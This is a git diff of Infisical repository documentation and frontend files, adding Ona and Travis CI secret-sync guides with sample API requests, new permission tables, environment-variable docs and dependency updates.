+  <Step title="Connection Created">
+    Your **Venafi TPP Connection** is now available for use as an external CA in your Infisical certificate management projects.
+    ![Venafi TPP Connection Created](/images/app-connections/venafi-tpp/venafi-tpp-app-connection-created.png)
+  </Step>
+</Steps>
+
+## Gateway Support
+
+For Venafi TPP instances running in airgapped or isolated networks, you can route the connection through an [Infisical Gateway](/documentation/platform/gateways/overview). Select the appropriate gateway when creating the connection to enable Infisical to reach your TPP server through a secure tunnel.
diff --git a/docs/integrations/secret-syncs/ona.mdx b/docs/integrations/secret-syncs/ona.mdx
new file mode 100644
index 00000000000..5a7b743ee85
--- /dev/null
+++ b/docs/integrations/secret-syncs/ona.mdx
@@ -0,0 +1,156 @@
+---
+title: "Ona Sync"
+description: "Learn how to configure an Ona Sync for Infisical."
+---
+
+**Prerequisites:**
+
+- Set up and add secrets to [Infisical Cloud](https://app.infisical.com)
+- Create an [Ona Connection](/integrations/app-connections/ona)
+
+
+<Tabs>
+    <Tab title="Infisical UI">
+        <Steps>
+            <Step title="Add Sync">
+                Navigate to **Project** > **Integrations** and select the **Secret Syncs** tab. Click on the **Add Sync** button.
+
+                ![Secret Syncs Tab](/images/secret-syncs/general/secret-sync-tab.png)
+            </Step>
+            <Step title="Select 'Ona'">
+                ![Select Ona](/images/secret-syncs/ona/select-ona-option.png)
+            </Step>
+            <Step title="Configure source">
+                Configure the **Source** from where secrets should be retrieved, then click **Next**.
+
+                ![Configure Source](/images/secret-syncs/ona/ona-source.png)
+
+                - **Environment**: The project environment to retrieve secrets from.
+                - **Secret Path**: The folder path to retrieve secrets from.
+
+            </Step>
+            <Step title="Configure destination">
+                Configure the **Destination** to where secrets should be deployed, then click **Next**.
+
+                ![Configure Destination](/images/secret-syncs/ona/ona-destination.png)
+
+                - **Ona Connection**: The Ona Connection to authenticate with.
+                - **Ona Project**: Sync secrets to the selected Ona project as project-level environment variables. Choose the target project from the dropdown populated by your connection.
+            </Step>
+            <Step title="Configure sync options">
+                Configure the **Sync Options** to specify how secrets should be synced, then click **Next**.
+
+                ![Configure Sync Options](/images/secret-syncs/ona/ona-options.png)
+
+                - **Initial Sync Behavior**: Determines how Infisical should resolve the initial sync. Ona Sync only supports **Overwrite Destination Secrets**. Any environment-variable secrets at the destination that are not present in Infisical will be removed on the first sync.
+                - **Key Schema**: Template that determines how secret names are transformed when syncing, using `{{secretKey}}` as a placeholder for the original secret name and `{{environment}}` for the environment.
+                <Note>
+                    We highly recommend using a Key Schema to ensure that Infisical only manages the specific keys you intend, keeping everything else untouched.
+                </Note>
+                - **Auto-Sync Enabled**: If enabled, secrets will automatically be synced from the source location when changes occur. Disable to enforce manual syncing only.
+                - **Disable Secret Deletion**: If enabled, Infisical will not remove secrets from the sync destination. Enable this option if you intend to manage some secrets manually outside of Infisical.
+            </Step>
+            <Step title="Configure details">
+                Configure the **Details** of your Ona Sync, then click **Next**.
+
+                ![Configure Details](/images/secret-syncs/ona/ona-details.png)
+
+                - **Name**: The name of your sync. Must be slug-friendly.
+                - **Description**: An optional description for your sync.
+            </Step>
+            <Step title="Review configuration">
+                Review your Ona Sync configuration, then click **Create Sync**.
+
+                ![Review Configuration](/images/secret-syncs/ona/ona-review.png)
+            </Step>
+            <Step title="Sync created">
+                If enabled, your Ona Sync will begin syncing your secrets to the destination endpoint.
+
+                ![Sync Created](/images/secret-syncs/ona/ona-created.png)
+            </Step>
+        </Steps>
+    </Tab>
+    <Tab title="API">
+        To create an **Ona Sync**, make an API request to the [Create Ona Sync](/api-reference/endpoints/secret-syncs/ona/create) API endpoint.
+
+        ### Sample request
+
+        ```bash Request
+        curl    --request POST \
+                --url https://app.infisical.com/api/v1/secret-syncs/ona \
+                --header 'Content-Type: application/json' \
+                --data '{
+                    "name": "my-ona-sync",
+                    "projectId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                    "description": "an example sync",
+                    "connectionId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                    "environment": "dev",
+                    "secretPath": "/my-secrets",
+                    "isAutoSyncEnabled": true,
+                    "syncOptions": {
+                        "initialSyncBehavior": "overwrite-destination",
+                        "keySchema": "INFISICAL_{{secretKey}}"
+                    },
+                    "destinationConfig": {
+                        "projectId": "ona-project-uuid",
+                        "projectName": "my-ona-project"
+                    }
+                }'
+        ```
+
+        ### Sample response
+
+        ```json Response
+        {
+            "secretSync": {
+                "id": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                "name": "my-ona-sync",
+                "description": "an example sync",
+                "isAutoSyncEnabled": true,
+                "version": 1,
+                "folderId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                "connectionId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                "createdAt": "2025-01-23T10:15:00Z",
+                "updatedAt": "2025-01-23T10:15:00Z",
+                "syncStatus": "succeeded",
+                "lastSyncJobId": "123",
+                "lastSyncMessage": null,
+                "lastSyncedAt": "2025-01-23T10:15:00Z",
+                "importStatus": null,
+                "lastImportJobId": null,
+                "lastImportMessage": null,
+                "lastImportedAt": null,
+                "removeStatus": null,
+                "lastRemoveJobId": null,
+                "lastRemoveMessage": null,
+                "lastRemovedAt": null,
+                "syncOptions": {
+                    "initialSyncBehavior": "overwrite-destination",
+                    "keySchema": "INFISICAL_{{secretKey}}",
+                    "disableSecretDeletion": false
+                },
+                "projectId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                "connection": {
+                    "app": "ona",
+                    "name": "my-ona-connection",
+                    "id": "3c90c3cc-0d44-4b50-8888-8dd25736052a"
+                },
+                "environment": {
+                    "slug": "dev",
+                    "name": "Development",
+                    "id": "3c90c3cc-0d44-4b50-8888-8dd25736052a"
+                },
+                "folder": {
+                    "id": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                    "path": "/my-secrets"
+                },
+                "destination": "ona",
+                "destinationConfig": {
+                    "projectId": "ona-project-uuid",
+                    "projectName": "my-ona-project"
+                }
+            }
+        }
+        ```
+    </Tab>
+</Tabs>
diff --git a/docs/integrations/secret-syncs/travis-ci.mdx b/docs/integrations/secret-syncs/travis-ci.mdx
new file mode 100644
index 00000000000..a2d333e6535
--- /dev/null
+++ b/docs/integrations/secret-syncs/travis-ci.mdx
@@ -0,0 +1,174 @@
+---
+title: "Travis CI Sync"
+description: "Learn how to configure a Travis CI Sync for Infisical."
+---
+
+Infisical's Travis CI Sync keeps your Travis CI repository environment variables in sync with an Infisical project. Account-level environment variables (`account_env_vars`) are not managed by this sync, only repository-scoped environment variables are.
+
+<Note>
+    `account_env_vars` are not exposed by the Travis CI API for listing or creation, so Infisical cannot sync them. 
+</Note>
+
+**Prerequisites:**
+
+- Set up and add secrets to [Infisical Cloud](https://app.infisical.com)
+- Create a [Travis CI Connection](/integrations/app-connections/travis-ci)
+
+<Tabs>
+    <Tab title="Infisical UI">
+        <Steps>
+            <Step title="Add Sync">
+                Navigate to **Project** > **Integrations** and select the **Secret Syncs** tab. Click on the **Add Sync** button.
+
+                ![Secret Syncs Tab](/images/secret-syncs/general/secret-sync-tab.png)
+            </Step>
+            <Step title="Select 'Travis CI'">
+                Select the **Travis CI** option from the list of destinations.
+
+                ![Select Travis CI](/images/secret-syncs/travis-ci/select-travis-ci-option.png)
+            </Step>
+            <Step title="Configure source">
+                Configure the **Source** from where secrets should be retrieved, then click **Next**.
+
+                ![Configure Source](/images/secret-syncs/travis-ci/travis-ci-source.png)
+
+                - **Environment**: The project environment to retrieve secrets from.
+                - **Secret Path**: The folder path to retrieve secrets from.
+
+                <Tip>
+                    If you need to sync secrets from multiple folder locations, check out [secret imports](/documentation/platform/secret-reference#secret-imports).
+                </Tip>
+            </Step>
+            <Step title="Configure destination">
+                Configure the **Destination** to where secrets should be deployed, then click **Next**.
+
+                ![Configure Destination](/images/secret-syncs/travis-ci/travis-ci-destination.png)
+
+                - **Travis CI Connection**: The Travis CI Connection to authenticate with.
+                - **Repository**: The Travis CI repository to sync secrets to.
+                - **Branch** *Optional*: The branch that synced environment variables will be scoped to on Travis CI. If left empty, the sync will manage environment variables that aren't scoped to any branch (i.e. repository-level variables).
+            </Step>
+            <Step title="Configure Sync Options">
+                Configure the **Sync Options** to specify how secrets should be synced, then click **Next**.
+
+                ![Configure Options](/images/secret-syncs/travis-ci/travis-ci-options.png)
+
+                - **Initial Sync Behavior**: Determines how Infisical should resolve the initial sync.
+                    - **Overwrite Destination Secrets**: Removes any environment variables at the destination not present in Infisical.
+                <Note>
+                    Travis CI does not support importing secrets.
+                </Note>
+                - **Key Schema**: Template that determines how secret names are transformed when syncing, using `{{secretKey}}` as a placeholder for the original secret name and `{{environment}}` for the environment.
+                <Note>
+                    We highly recommend using a Key Schema to ensure that Infisical only manages the specific keys you intend, keeping everything else untouched.
+                </Note>
+                - **Auto-Sync Enabled**: If enabled, secrets will automatically be synced when changes occur at the source location. Disable to enforce manual syncing only.
+                - **Disable Secret Deletion**: If enabled, Infisical will not remove environment variables from Travis CI during a sync. Enable this option if you intend to manage some environment variables manually outside of Infisical.
+            </Step>
+            <Step title="Configure details">
+                Configure the **Details** of your Travis CI Sync, then click **Next**.
+
+                ![Configure Details](/images/secret-syncs/travis-ci/travis-ci-details.png)
+
+                - **Name**: The name of your sync. Must be slug-friendly.
+                - **Description**: An optional description for your sync.
+            </Step>
+            <Step title="Review configuration">
+                Review your Travis CI Sync configuration, then click **Create Sync**.
+
+                ![Confirm Configuration](/images/secret-syncs/travis-ci/travis-ci-review.png)
+            </Step>
+            <Step title="Sync created">
+                If enabled, your Travis CI Sync will begin pushing your Infisical secrets to the configured repository (and branch, if scoped).
+
+                ![Sync Created](/images/secret-syncs/travis-ci/travis-ci-created.png)
+            </Step>
+        </Steps>
+    </Tab>
+    <Tab title="API">
+        To create a **Travis CI Sync**, make an API request to the [Create Travis CI Sync](/api-reference/endpoints/secret-syncs/travis-ci/create) API endpoint.
+
+        The `branch` field inside `destinationConfig` is optional. Omit it to manage repository-level environment variables, or set it to scope the sync to a specific branch on Travis CI.
+
+        ### Sample request
+
+        ```bash Request
+        curl    --request POST \
+                --url https://app.infisical.com/api/v1/secret-syncs/travis-ci \
+                --header 'Content-Type: application/json' \
+                --data '{
+                    "name": "my-travis-ci-sync",
+                    "projectId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                    "description": "Push Infisical secrets to the Travis CI repository",
+                    "connectionId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                    "environment": "dev",
+                    "secretPath": "/",
+                    "isAutoSyncEnabled": true,
+                    "syncOptions": {
+                        "initialSyncBehavior": "overwrite-destination",
+                        "disableSecretDeletion": false
+                    },
+                    "destinationConfig": {
+                        "repositoryId": "12345678",
+                        "repositorySlug": "my-org/my-repo",
+                        "branch": "main"
+                    }
+                }'
+        ```
+
+        ### Sample response
+
+        ```bash Response
+        {
+            "secretSync": {
+                "id": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                "name": "my-travis-ci-sync",
+                "description": "Push Infisical secrets to the Travis CI repository",
+                "isAutoSyncEnabled": true,
+                "version": 1,
+                "folderId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                "connectionId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                "createdAt": "2026-04-17T05:31:56Z",
+                "updatedAt": "2026-04-17T05:31:56Z",
+                "syncStatus": "succeeded",
+                "lastSyncJobId": "123",
+                "lastSyncMessage": null,
+                "lastSyncedAt": "2026-04-17T05:31:56Z",
+                "importStatus": null,
+                "lastImportJobId": null,
+                "lastImportMessage": null,
+                "lastImportedAt": null,
+                "removeStatus": null,
+                "lastRemoveJobId": null,
+                "lastRemoveMessage": null,
+                "lastRemovedAt": null,
+                "syncOptions": {
+                    "initialSyncBehavior": "overwrite-destination",
+                    "disableSecretDeletion": false
+                },
+                "projectId": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                "connection": {
+                    "app": "travis-ci",
+                    "name": "my-travis-ci-connection",
+                    "id": "3c90c3cc-0d44-4b50-8888-8dd25736052a"
+                },
+                "environment": {
+                    "slug": "dev",
+                    "name": "Development",
+                    "id": "3c90c3cc-0d44-4b50-8888-8dd25736052a"
+                },
+                "folder": {
+                    "id": "3c90c3cc-0d44-4b50-8888-8dd25736052a",
+                    "path": "/"
+                },
+                "destination": "travis-ci",
+                "destinationConfig": {
+                    "repositoryId": "12345678",
+                    "repositorySlug": "my-org/my-repo",
+                    "branch": "main"
+                }
+            }
+        }
+        ```
+    </Tab>
+</Tabs>
diff --git a/docs/integrations/secret-syncs/vercel.mdx b/docs/integrations/secret-syncs/vercel.mdx
index de83a20681f..83f6c0c612e 100644
--- a/docs/integrations/secret-syncs/vercel.mdx
+++ b/docs/integrations/secret-syncs/vercel.mdx
@@ -3,6 +3,14 @@ title: "Vercel Sync"
 description: "Learn how to configure a Vercel Sync for Infisical."
 ---
 
+Infisical's Vercel Sync lets you automatically push secrets from Infisical into your Vercel project's environment variables, keeping both platforms in sync without manual copy-paste.
+
+The short video below walks through configuring a Vercel Sync end-to-end.
+
+<div style={{ position: "relative", paddingBottom: "56.25%", height: 0, overflow: "hidden", maxWidth: "100%" }}>
+  <iframe src="https://www.youtube.com/embed/pFKbhBTiutk" title="YouTube video player" style={{ position: "absolute", top: 0, left: 0, width: "100%", height: "100%", border: 0 }} allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen />
+</div>
+
 **Prerequisites:**
 
     - Set up and add secrets to [Infisical Cloud](https://app.infisical.com)
diff --git a/docs/internals/permissions/organization-permissions.mdx b/docs/internals/permissions/organization-permissions.mdx
index 0151f22b323..43ac4ec02cc 100644
--- a/docs/internals/permissions/organization-permissions.mdx
+++ b/docs/internals/permissions/organization-permissions.mdx
@@ -229,6 +229,16 @@ Supports conditions and permission inversion
 | `delete-gateways` | Remove gateways from organization |
 | `attach-gateways` | Attach gateways to resources      |
 
+#### Subject: `gateway-pool`
+
+| Action                 | Description                                 |
+| ---------------------- | ------------------------------------------- |
+| `list-gateway-pools`   | View all organization gateway pools         |
+| `create-gateway-pools` | Add new gateway pools to organization       |
+| `edit-gateway-pools`   | Modify pool settings and manage pool gateways |
+| `delete-gateway-pools` | Remove gateway pools from organization      |
+| `attach-gateway-pools` | Attach gateway pools to consumer configs    |
+
 #### Subject: `relay`
 
 | Action          | Description                     |
diff --git a/docs/internals/permissions/project-permissions.mdx b/docs/internals/permissions/project-permissions.mdx
index a225341a559..820057b098e 100644
--- a/docs/internals/permissions/project-permissions.mdx
+++ b/docs/internals/permissions/project-permissions.mdx
@@ -284,6 +284,12 @@ Supports conditions and permission inversion.
 | `delete-root-credential` | Remove dynamic secrets | `environment`, `secretPath`, `metadata` |
 | `lease` | Create dynamic secret leases | `environment`, `secretPath`, `metadata` |
 
+#### Subject: `insights`
+
+| Action | Description                                                                          |
+| ------ | ------------------------------------------------------------------------------------ |
+| `read` | View project insights dashboard, including secret access volume, access locations, auth method distribution, and rotation/reminder calendar |
+
 ### Key Management Service (KMS)
 
 #### Subject: `kms`
diff --git a/docs/self-hosting/configuration/envars.mdx b/docs/self-hosting/configuration/envars.mdx
index 79cdf7b2904..1dee797e37a 100644
--- a/docs/self-hosting/configuration/envars.mdx
+++ b/docs/self-hosting/configuration/envars.mdx
@@ -55,8 +55,8 @@ Example values:
   default="false"
   optional
 >
-  Determines whether App Connections and Dynamic Secrets are permitted to
-  connect with internal/private IP addresses.
+  Determines whether App Connections, Dynamic Secrets, and PKI Certificate
+  Discovery jobs are permitted to connect with internal/private IP addresses.
 </ParamField>
 
 <ParamField
@@ -70,6 +70,24 @@ Example values:
   auth method.
 </ParamField>
 
+<ParamField query="TRUSTED_PROXY_CIDRS" type="string" optional>
+  Comma-separated list of trusted reverse-proxy CIDRs or named ranges whose forwarded-IP headers (e.g. `X-Forwarded-For`) Infisical will honor.
+
+  Accepted values are IPv4/IPv6 CIDR notation or the named aliases `loopback`, `linklocal`, and `uniquelocal`.
+
+  ```
+  TRUSTED_PROXY_CIDRS=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
+  ```
+
+  When set, only requests arriving from a socket address within this list will have their forwarded-IP headers respected. Requests from any other source fall back to using the raw socket IP. This prevents IP allowlist bypass via spoofed proxy headers.
+
+  When unset, Infisical trusts all forwarded-IP headers (legacy behavior, preserved for backwards compatibility with existing self-hosted deployments).
+
+  <Warning>
+    If your deployment sits behind a reverse proxy (e.g. Nginx, AWS ALB, Cloudflare), you should set this to the CIDR range of your proxy to prevent clients from spoofing their source IP. Leaving this unset is only safe when Infisical is not reachable directly from the internet.
+  </Warning>
+</ParamField>
+
 ## CORS
 
 Cross-Origin Resource Sharing (CORS) is a security feature that allows web applications running on one domain to access resources from another domain.
@@ -337,6 +355,15 @@ Without email configuration, Infisical's core functions like sign-up/login and s
   Name label to be used in From field (e.g. Team)
 </ParamField>
 
+<ParamField query="SMTP_HELO_HOST" type="string" default="none" optional>
+  Hostname that Infisical announces in the SMTP `EHLO`/`HELO` greeting. When
+  unset, the underlying mailer falls back to the operating system hostname.
+  Inside containers (e.g. Cloud Run, Kubernetes) the OS hostname is typically a
+  random container ID, which can be rejected by SMTP relays that validate the
+  sender hostname (such as Gmail SMTP relay with sender-hostname checks). Set
+  this to a valid FQDN that the relay accepts.
+</ParamField>
+
 <ParamField query="SMTP_IGNORE_TLS" type="bool" default="false" optional>
   If this is `true` and `SMTP_PORT` is not 465 then TLS is not used even if the
   server supports STARTTLS extension.
diff --git a/docs/self-hosting/guides/upgrading-infisical.mdx b/docs/self-hosting/guides/upgrading-infisical.mdx
index 0ffe3234642..aa75cdaf778 100644
--- a/docs/self-hosting/guides/upgrading-infisical.mdx
+++ b/docs/self-hosting/guides/upgrading-infisical.mdx
@@ -42,15 +42,8 @@ Now, migrations run automatically during boot-up. This improvement streamlines t
    - Verify that your backup is current and accessible.
 
 2. **Plan Your Upgrade Path:**
-   - Use our [Upgrade Path Tool](https://app.infisical.com/upgrade-path) to analyze your upgrade path between your current version and target version.
-   - The tool will show you:
-     - **Breaking changes** that require action before upgrading
-     - **Database migrations** that may require additional settings or precautions
-     - **Step-by-step upgrade path** with intermediate versions if needed
-   - Review any breaking changes and plan necessary configuration updates before proceeding.
-   - Visit the [Infisical releases page](https://github.com/Infisical/infisical/releases) for a complete list of available versions.
-
-![Upgrade Path Tool showing breaking changes and migration information](/images/self-hosting/helper/upgrade-path-tool.png)
+   - Head over to the [Infisical releases page](https://github.com/Infisical/infisical/releases) and review the releases between your current version and the one you're upgrading to.
+   - Keep an eye out for breaking changes or migration notes — these will tell you if any extra steps or configuration changes are needed before you proceed.
 
 3. **Start the Upgrade Process:**  
    - Launch the new version of Infisical. During startup, the application will automatically compare the current database schema with the updated schema in the code.
diff --git a/docs/self-hosting/overview.mdx b/docs/self-hosting/overview.mdx
index 4de59c66bf5..429dd1a7d4f 100644
--- a/docs/self-hosting/overview.mdx
+++ b/docs/self-hosting/overview.mdx
@@ -13,25 +13,23 @@ Self-hosting Infisical lets you retain data on your own infrastructure and netwo
 
 Choose from a number of deployment options listed below to get started.
 
-<CardGroup cols={2}>
-<Card
-  title="Docker"
-  color="#000000"
-  icon="docker"
-  href="./deployment-options/standalone-infisical"
->
-  Use the fully packaged docker image to deploy Infisical anywhere.
-</Card>
-<Card
-  title="Kubernetes"
-  color="#000000"
-  icon="kubernetes"
-  href="./deployment-options/kubernetes-helm"
->
-  Deploy Infisical on Kubernetes using our Helm chart.
-</Card>
-</CardGroup>
-<CardGroup cols={2}>
+<CardGroup cols={3}>
+  <Card
+    title="Docker"
+    color="#000000"
+    icon="docker"
+    href="./deployment-options/standalone-infisical"
+  >
+    Use the fully packaged docker image to deploy Infisical anywhere.
+  </Card>
+  <Card
+    title="Kubernetes"
+    color="#000000"
+    icon="dharmachakra"
+    href="./deployment-options/kubernetes-helm"
+  >
+    Deploy Infisical on Kubernetes using our Helm chart.
+  </Card>
   <Card
     title="Docker Compose"
     color="#000000"
@@ -40,9 +38,6 @@ Choose from a number of deployment options listed below to get started.
   >
     Install Infisical using our Docker Compose template.
   </Card>
-</CardGroup>
-
-<CardGroup cols={2}>
   <Card
     title="AWS"
     color="#000000"
@@ -59,13 +54,12 @@ Choose from a number of deployment options listed below to get started.
   >
     Deploy Infisical on GCP using GKE.
   </Card>
-</CardGroup>
-
-<Card
+  <Card
     title="Linux package"
     color="#000000"
     icon="linux"
     href="./deployment-options/native/linux-package/installation"
   >
     Install Infisical on your system without containers using our Linux package.
-</Card>
+  </Card>
+</CardGroup>
diff --git a/docs/snippets/AppConnectionsBrowser.jsx b/docs/snippets/AppConnectionsBrowser.jsx
index 8fa67f89da8..d7fb908e75c 100644
--- a/docs/snippets/AppConnectionsBrowser.jsx
+++ b/docs/snippets/AppConnectionsBrowser.jsx
@@ -401,6 +401,14 @@ export const AppConnectionsBrowser = () => {
         "Learn how to connect your Northflank projects to pull secrets from Infisical.",
       category: "Hosting",
     },
+    {
+      name: "Ona",
+      slug: "ona",
+      path: "/integrations/app-connections/ona",
+      description:
+        "Learn how to connect your Ona (Gitpod) workspaces to pull secrets from Infisical.",
+      category: "Hosting",
+    },
     {
       name: "MongoDB",
       slug: "mongodb",
@@ -437,6 +445,22 @@ export const AppConnectionsBrowser = () => {
       description:
         "Learn how to connect a remote Infisical instance to sync secrets between Infisical projects.",
       category: "Security",
+    },
+    {
+      name: "Doppler",
+      slug: "doppler",
+      path: "/integrations/app-connections/doppler",
+      description:
+        "Learn how to connect Doppler for migrating data from Doppler to Infisical.",
+      category: "DevOps Tools",
+    }, 
+    {
+      name: "Travis CI",
+      slug: "travis-ci",
+      path: "/integrations/app-connections/travis-ci",
+      description:
+        "Learn how to connect Travis CI to pull secrets from Infisical.",
+      category: "CI/CD",
     }
   ].sort(function (a, b) {
     return a.name.toLowerCase().localeCompare(b.name.toLowerCase());
diff --git a/docs/snippets/RotationsBrowser.jsx b/docs/snippets/RotationsBrowser.jsx
index f6d006dd33c..897d8ff2551 100644
--- a/docs/snippets/RotationsBrowser.jsx
+++ b/docs/snippets/RotationsBrowser.jsx
@@ -151,6 +151,15 @@ export const RotationsBrowser = () => {
       category: "AI & LLM",
       rotationType: "Dual-Phase",
     },
+    {
+      name: "Supabase API Key",
+      slug: "supabase-api-key",
+      path: "/documentation/platform/secret-rotation/supabase-api-key",
+      description:
+        "Learn how to automatically rotate Supabase API keys.",
+      category: "Cloud Providers",
+      rotationType: "Dual-Phase",
+    },
   ].sort(function (a, b) {
     return a.name.toLowerCase().localeCompare(b.name.toLowerCase());
   });
diff --git a/docs/snippets/SecretSyncsBrowser.jsx b/docs/snippets/SecretSyncsBrowser.jsx
index de1a9e84f7f..8ea3ad9e196 100644
--- a/docs/snippets/SecretSyncsBrowser.jsx
+++ b/docs/snippets/SecretSyncsBrowser.jsx
@@ -41,9 +41,12 @@ export const SecretSyncsBrowser = () => {
     {"name": "Laravel Forge", "slug": "laravel-forge", "path": "/integrations/secret-syncs/laravel-forge", "description": "Learn how to sync secrets from Infisical to Laravel Forge.", "category": "Hosting"},
     {"name": "Chef", "slug": "chef", "path": "/integrations/secret-syncs/chef", "description": "Learn how to sync secrets from Infisical to Chef.", "category": "DevOps Tools"},
     {"name": "Northflank", "slug": "northflank", "path": "/integrations/secret-syncs/northflank", "description": "Learn how to sync secrets from Infisical to Northflank projects.", "category": "Hosting"},
+    {"name": "Ona", "slug": "ona", "path": "/integrations/secret-syncs/ona", "description": "Learn how to sync secrets from Infisical to Ona (Gitpod) projects or user environments.", "category": "Hosting"},
     {"name": "Octopus Deploy", "slug": "octopus-deploy", "path": "/integrations/secret-syncs/octopus-deploy", "description": "Learn how to sync secrets from Infisical to Octopus Deploy.", "category": "DevOps Tools"},
     {"name": "Azure Entra ID SCIM", "slug": "azure-entra-id-scim", "path": "/integrations/secret-syncs/azure-entra-id-scim", "description": "Learn how to sync SCIM provisioning tokens from Infisical to Azure Entra ID.", "category": "Identity & Auth"},
-    {"name": "Infisical", "slug": "external-infisical", "path": "/integrations/secret-syncs/external-infisical", "description": "Learn how to sync secrets from one Infisical instance to another.", "category": "Security"}
+    {"name": "Infisical", "slug": "external-infisical", "path": "/integrations/secret-syncs/external-infisical", "description": "Learn how to sync secrets from one Infisical instance to another.", "category": "Security"},
+    {"name": "Travis CI", "slug": "travis-ci", "path": "/integrations/secret-syncs/travis-ci", "description": "Learn how to sync secrets from Infisical to Travis CI.", "category": "CI/CD"},
+
   ].sort(function(a, b) {
       return a.name.toLowerCase().localeCompare(b.name.toLowerCase());
   });
diff --git a/frontend/.gitignore b/frontend/.gitignore
index f52343a92d1..10fab08e9dd 100644
--- a/frontend/.gitignore
+++ b/frontend/.gitignore
@@ -9,6 +9,7 @@ lerna-debug.log*
 
 node_modules
 dist
+.cache
 dist-ssr
 *.local
 
diff --git a/frontend/.storybook/preview.tsx b/frontend/.storybook/preview.tsx
index d2aaca582de..0eae113de77 100644
--- a/frontend/.storybook/preview.tsx
+++ b/frontend/.storybook/preview.tsx
@@ -7,6 +7,11 @@ import "../src/index.css";
 const preview: Preview = {
   decorators: [DocumentDecorator, RouterDecorator],
   parameters: {
+    options: {
+      storySort: {
+        method: "alphabetical"
+      }
+    },
     controls: {
       matchers: {
         color: /(background|color)$/i,
diff --git a/frontend/CLAUDE.md b/frontend/CLAUDE.md
index 3b277b39592..c46e5f4752c 100644
--- a/frontend/CLAUDE.md
+++ b/frontend/CLAUDE.md
@@ -48,6 +48,18 @@ Each API domain in `src/hooks/api/` (100+ domain folders) follows this structure
 
 HTTP client in `src/config/request.ts`: Axios instance with automatic token injection and 401/403 interceptors.
 
+#### React Query Global Defaults (`src/hooks/api/reactQuery.tsx`)
+
+The `QueryClient` sets these global defaults for all queries:
+- **`staleTime: 60_000`** (60 seconds) — data fetched within the last 60s is considered fresh and won't be refetched on component mount/remount. This prevents redundant API calls during normal page navigation. Queries that need real-time data (e.g., identity auth configs, dynamic secret leases) override this with `staleTime: 0`.
+- **`refetchOnWindowFocus: false`** — queries do not refetch when the browser tab regains focus.
+- **`retry: 1`** — failed queries retry once.
+
+When adding new queries, consider whether the default 60s staleTime is appropriate:
+- For data that changes only on explicit user action (secrets, folders, org metadata): the 60s default is fine or could be longer.
+- For data that must always be fresh (auth configs, lease TTLs): override with `staleTime: 0, gcTime: 0`.
+- For rarely-changing data (server config, user profile): use `staleTime: Infinity` as the context providers do.
+
 ### State Management
 
 - **Server state**: TanStack React Query (query key factories in each API domain)
diff --git a/frontend/package-lock.json b/frontend/package-lock.json
index b95751b5539..7db354588dc 100644
--- a/frontend/package-lock.json
+++ b/frontend/package-lock.json
@@ -8,7 +8,7 @@
       "name": "frontend-v2",
       "version": "0.0.0",
       "dependencies": {
-        "@casl/ability": "^6.7.2",
+        "@casl/ability": "^6.7.5",
         "@casl/react": "^4.0.0",
         "@codemirror/commands": "^6.10.3",
         "@codemirror/lang-sql": "^6.10.0",
@@ -33,29 +33,23 @@
         "@lezer/highlight": "^1.2.3",
         "@lottiefiles/dotlottie-react": "^0.12.0",
         "@lottiefiles/dotlottie-web": "^0.38.2",
-        "@octokit/rest": "^21.0.2",
         "@peculiar/x509": "^1.12.3",
         "@radix-ui/react-accordion": "^1.2.2",
         "@radix-ui/react-alert-dialog": "^1.1.3",
         "@radix-ui/react-checkbox": "^1.1.3",
         "@radix-ui/react-collapsible": "^1.1.2",
-        "@radix-ui/react-context-menu": "^2.2.16",
         "@radix-ui/react-dialog": "^1.1.3",
         "@radix-ui/react-direction": "^1.1.1",
         "@radix-ui/react-dropdown-menu": "^2.1.3",
         "@radix-ui/react-hover-card": "^1.1.3",
         "@radix-ui/react-label": "^2.1.1",
         "@radix-ui/react-popover": "^1.1.3",
-        "@radix-ui/react-popper": "^1.2.1",
-        "@radix-ui/react-progress": "^1.1.1",
         "@radix-ui/react-radio-group": "^1.2.2",
-        "@radix-ui/react-scroll-area": "^1.2.10",
         "@radix-ui/react-select": "^2.1.3",
         "@radix-ui/react-separator": "^1.1.8",
         "@radix-ui/react-slot": "^1.2.3",
         "@radix-ui/react-switch": "^1.1.2",
         "@radix-ui/react-tabs": "^1.1.2",
-        "@radix-ui/react-toast": "^1.2.3",
         "@radix-ui/react-tooltip": "^1.1.5",
         "@simplewebauthn/browser": "^13.2.2",
         "@sindresorhus/slugify": "^2.2.1",
@@ -72,9 +66,7 @@
         "@xterm/addon-web-links": "^0.12.0",
         "@xterm/xterm": "^5.5.0",
         "@xyflow/react": "^12.4.4",
-        "argon2-browser": "^1.18.0",
-        "axios": "^1.12.0",
-        "classnames": "^2.5.1",
+        "axios": "^1.15.0",
         "clsx": "^2.1.1",
         "cmdk": "^1.1.1",
         "cva": "npm:class-variance-authority@^0.7.1",
@@ -84,21 +76,19 @@
         "file-saver": "^2.0.5",
         "framer-motion": "^11.14.1",
         "i18next": "^24.1.0",
-        "i18next-browser-languagedetector": "^8.0.2",
         "i18next-http-backend": "^3.0.1",
-        "jspdf": "^3.0.2",
-        "jsrp": "^0.2.4",
         "jwt-decode": "^4.0.0",
         "lexical": "^0.29.0",
         "lucide-react": "^0.544.0",
         "ms": "^2.1.3",
         "nprogress": "^0.2.0",
-        "picomatch": "^4.0.2",
+        "picomatch": "^4.0.4",
         "posthog-js": "^1.360.1",
         "qrcode": "^1.5.4",
         "randexp": "^0.5.3",
         "react": "^18.3.1",
         "react-code-input": "^3.10.1",
+        "react-colorful": "^5.6.1",
         "react-complex-tree": "^2.6.1",
         "react-day-picker": "^9.13.0",
         "react-dom": "^18.3.1",
@@ -109,14 +99,12 @@
         "react-markdown": "^10.0.1",
         "react-select": "^5.9.0",
         "react-toastify": "^10.0.6",
-        "redaxios": "^0.5.1",
+        "recharts": "^3.8.1",
